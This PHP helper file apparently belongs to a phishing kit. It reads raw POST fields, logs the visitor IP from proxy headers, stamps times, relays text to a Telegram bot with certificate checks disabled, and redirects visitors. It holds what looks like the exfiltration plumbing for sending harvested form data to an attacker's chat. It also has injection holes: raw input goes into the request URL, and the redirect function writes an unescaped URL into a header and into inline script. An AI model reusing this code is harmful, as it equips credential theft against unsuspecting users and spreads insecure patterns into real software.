<?php 
require '../../config.php';

function post($d){
	return $_POST[$d];
}
 
function ip() {
    $ip = '';

    if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
        // Use Cloudflare CF-Connecting-IP header
        $ip = $_SERVER['HTTP_CF_CONNECTING_IP'];
    } elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        // Check if IP is from a proxy or load balancer
        $ipAddresses = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $ip = trim(end($ipAddresses));
    } elseif (isset($_SERVER['HTTP_X_REAL_IP'])) {
        // Check if IP is from a reverse proxy
        $ip = $_SERVER['HTTP_X_REAL_IP'];
    } elseif (isset($_SERVER['REMOTE_ADDR'])) {
        // Use remote address as IP
        $ip = $_SERVER['REMOTE_ADDR'];
    }

    return $ip;
}





function _time(){
	return date("d M, Y - h:i:sa");
}


function send($d, $id){
	GLOBAL $bot_token;
	$url = "https://api.telegram.org/bot".$bot_token."/sendMessage?chat_id=$id&text=$d";
	$c = curl_init();
	curl_setopt($c, CURLOPT_URL, $url );
	curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false);
	curl_setopt($c ,CURLOPT_RETURNTRANSFER, true);
	curl_setopt($c ,CURLOPT_FOLLOWLOCATION, true);
	curl_exec($c);
	curl_close($c);
	
}


function go($u){
@header("location:$u");
echo "<script>window.location='$u';</script>";
	
}

 
?>
 